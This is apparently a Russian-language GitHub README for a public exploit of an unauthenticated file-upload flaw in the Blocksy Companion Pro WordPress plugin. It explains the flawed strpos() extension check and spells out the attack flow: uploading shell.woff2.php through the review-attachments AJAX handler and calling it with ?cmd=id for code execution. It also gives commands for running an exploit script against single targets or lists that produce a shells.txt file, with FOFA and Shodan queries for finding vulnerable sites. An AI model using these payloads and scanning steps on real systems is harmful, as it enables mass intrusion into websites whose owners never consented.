
CVE-2026-58480 / CVE-2026-15158 — Unauthenticated RCE in Blocksy Companion Pro < 2.1.47 (300K+ installs). Pre-auth arbitrary file upload via double-extension bypass.
CVE-2026-58480 (также известный как CVE-2026-15158) — это критическая (CVSS 9.8) уязвимость неаутентифицированной произвольной загрузки файлов в Blocksy Companion Pro < 2.1.47 — премиум-дополнении для темы WordPress Blocksy (более 300 000 активных установок).
Обработчик AJAX save_attachments в функции Расширенные отзывы (часть WooCommerce Extra) принимает загрузку файлов без аутентификации. Расширение Пользовательские шрифты проверяет загрузки с помощью strpos() на наличие подстроки .woff2 / .ttf, а не фактического расширения файла. Злоумышленники обходят это с помощью имен файлов с двойным расширением, например shell.woff2.php: .woff2 соответствует проверке подстроки, а .php выполняется на сервере.
| Версия | Статус |
|---|---|
| < 2.1.47 | Уязвимая |
| 2.1.47+ | Исправлена |
Требования: Премиум-лицензия с активными расширениями WooCommerce Extra (Расширенные отзывы) И Пользовательские шрифты. Бесплатный плагин
blocksy-companionне содержит уязвимых участков кода.
Расширение Пользовательские шрифты регистрирует фильтр wp_check_filetype_and_ext, который проверяет имена файлов с помощью strpos() — поиска подстроки — вместо проверки фактического расширения файла через PATHINFO_EXTENSION:
// framework/premium/extensions/custom-fonts/extension.php#L137 (реконструкция)
add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) {
if (strpos($filename, '.woff2') !== false ||
strpos($filename, '.ttf') !== false) {
$data['ext'] = 'woff2';
$data['type'] = 'font/woff2';
}
return $data;
}, 10, 5);
Функция save_attachments в Расширенных отзывах вызывает стандартную обработку загрузки WordPress, которая, в свою очередь, вызывает этот фильтр. Файл с именем shell.woff2.php проходит проверку, потому что .woff2 существует как подстрока — фильтр НЕ проверяет, что это конечное расширение.
POST /wp-admin/admin-ajax.php
action=blc_save_review_attachments
blc-review-images[] = shell.woff2.php (multipart, полезная нагрузка PHP)
→ фильтр wp_check_filetype_and_ext: найден ".woff2" → одобрено
→ файл сохранён в wp-content/uploads/YYYY/MM/shell.woff2.php
→ GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id
→ RCE от имени www-data
| Файл (Trac) | Строка | Назначение |
|---|---|---|
framework/premium/extensions/custom-fonts/extension.php | 137 | Фильтр проверки strpos() |
framework/premium/extensions/woocommerce-extra/features/advanced-reviews/feature.php | 811 | Обработчик save_attachments |
git clone https://github.com/shinthink/CVE-2026-58480.git
cd CVE-2026-58480
pip install requests
# Проверка цели
python exploit.py -u https://target.com --check
# Полная эксплуатация
python exploit.py -u https://target.com
# Массовое сканирование
python exploit.py -f targets.txt -o shells.txt
FOFA: body="/wp-content/themes/blocksy/"
Shodan: http.html:"blocksy-companion"
blc-review-images[]wp_check_filetype_and_extЭтот эксплойт предоставлен только для образовательных целей и авторизованных исследований безопасности. Не используйте его против систем без явного разрешения владельца.